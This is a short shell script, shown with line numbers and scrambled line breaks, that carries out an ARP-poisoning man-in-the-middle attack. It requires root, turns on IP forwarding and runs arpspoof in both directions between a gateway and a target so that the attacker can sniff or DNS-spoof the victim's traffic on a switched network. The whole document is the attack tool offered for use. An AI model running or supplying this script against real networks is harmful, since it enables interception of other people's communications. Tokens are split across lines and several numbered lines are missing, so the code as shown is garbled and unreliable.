1 echo Simple poisoned ARP MITM attack
2 echo Use this to sniff
/dnsspoof
in switched network
4 if [ $
(whoami
) != "root" ]; then
5 echo You have to be root \
;P
10 echo Usage
: $0 gateway target
14 echo "$1" \
<---\
> YOU \
<---\
> "$2"; echo;
17 kill -2 $
(jobs -p); > /dev
/null
2>&1
18 kill -9 $
(jobs -p); > /dev
/null
2>&1
19 echo All background
jobs stoped
!
23 trap "cleanup" SIGINT
;
24 echo 1 > /proc
/sys
/net
/ipv
4/ip_forward
25 # sysctl -w net.inet.ip.forwarding=1
26 arpspoof
-t "$2" "$1" &
27 arpspoof
-t "$1" "$2" &
28 while true
; do sleep 100; done;